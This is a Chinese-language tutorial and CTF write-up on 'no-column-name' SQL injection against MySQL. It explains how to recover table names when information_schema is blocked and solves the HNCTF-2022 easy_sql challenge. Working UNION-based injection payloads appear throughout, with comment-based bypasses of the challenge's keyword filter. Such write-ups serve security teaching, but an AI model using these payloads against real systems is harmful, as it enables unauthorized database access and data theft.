概念
在我们进行sql注入的时候,有时候information_schema这个库可能会因为过滤而无法调用,这时我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:
- InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。 - sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。
原理
无列名注入的原理其实跟给列赋别名有点相似,就是在取别名的同时查询数据。
拿这个users表为例子,这个表有三列,列名分别为id,username,password。此时,我们用无列名查询的方式来查一下表中数据。
可以看到,此时得到了一个虚拟表,列名分别为1,2,3,其中存储了xxx表中的所有数据。
注: 进行查询时语句的字段数必须和指定表中的字段数一样,不能多也不能少,不然就会报错
此处有三个字段,则前面select语句要有是1,2,3。
我们进行无列名注入就是利用了该方法,通过无列名查询构造一个虚拟表,在构造此表的同时查询其中的数据。select
2 from (select 1,2,3 union select * from users)a;
前面的select 2
是查询虚构表中第二个字段,(select 1,2,3 union select * from users)a
是把users中所有的列取一个别名1,2,3。并将此虚构表命名为a,此处可以用其他字符。
像这样就可以查询第二列的数据,在虚拟表中,列名都是1,2,3,所以我们在查询语句中要用 2
而不能直接用 2 。要使用"" 不过有时候
也会被过滤,这时候我们就又要用另取别名了。
所以我们在查询语句中要用 `2` 而不能直接用 2 。
select 1 as a,2 as b,3 as c union select * from users;
把1,2,3另取别名为a,b,c,这样可以不使用反单引号,可以看到,此时构造的虚拟表的列名就分别是a,b,c了。此时查询就可以直接通过a,b,c来查。
select b from (select 1 as a,2 as b,3 as c union select * from users)n;
查询成功
HNCTF-2022(easy_sql)
例题分析
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>easysql</title>
</head>
<body>
<h2>请输入查询内容</h2>
<form action="./index.php" method="post">
<label>id</label>
<input type="text" name="id" size=30/><br>
<input type="submit" value="查询"/><br><br>
<hr>
</form>
<?php
if(!isset($_POST['id'])) exit();
$name=$_POST['id'];
$flag=1;
$db=mysqli_connect("localhost","root","123456","ctf");
if($db==false) exit("数据库连接失败!");
if($name=="") {
print("<p>请输入完整登录信息</p>");
}
else{
if(preg_match("/and|sleep|extractvalue|information|is|not|updataxml|order|rand|handler|sleep|\~|\!|\@|\#|\\$|\%|\^|\+|\&|\-|\ /i", $name)){
die("error");
}
$query="select id,uname,infor from ccctttfff where id = '$name'";
#echo $query;
@$result=mysqli_query($db,$query);
print("<hr>");
while($data=@mysqli_fetch_assoc($result)){
$flag=0;
echo "Here is your want!<br>";
print($data['infor']);
}
if($flag){
print("<p>姓名不存在,或账号密码错误</p>");
}
}
?>
</body>
</html>
可以看到过滤了/and|sleep|extractvalue|information|is|not|updataxml|order|rand|handler|sleep|\~|\!|\@|\#|\\$|\%|\^|\+|\&|\-|\ /i
直接看查询语句$query="select id,uname,infor from ccctttfff where id = '$name'";
使用了单引号闭合,也就是说在构造注入语句的时候需要在最后加一个单引号来闭合。
查询数据库:
1'/**/union/**/select/**/1,2,database()/**/'
发现回显位置在第三列
查询所有数据库的名字
0'union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/union/**/select/**/1,2,3/**/'1
select/**/1,2,3/**/
是查询有几个列,一个个尝试,如果是select/**/1,2,3,4/**/
就会报错,所以有三列
逐一猜有几列,select发现flag表中只有一个列,取别名为1,虚构表名字为a,
0'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a/**/union/**/select/**/1,2,3/**/'1
PS:
这里解释一下为什么需要使用最后的union select 1,2,3
select `id`,`uname`,`infor`
from ccccttf
WHERE id = '0'
union
select 1,2,group_concat(`3`)
from (
select 1,2,3 UNION SELECT * from falg
)a UNION SELECT 1,2,3 '0'
上面的题为了闭合需要在插入语句中的最后使用一个单引号闭合'1'
select id,uname,infor from ccctttfff where id = '0'union select 1,2,group_concat(`1`)
from
(select 1 union select * from ctftraining.flag)a union select 1,2,3 '1'
但是已知order by
、from
后面不可跟'1',这属于语法错误,但是union select后面可以跟闭合语句,因此需要在最后加一个union select语句
参考文章
https://blog.csdn.net/weixin_46330722/article/details/109605941
https://dqgom7v7dl.feishu.cn/docx/doxcnfAleQyWvxtaviJQUyfedGd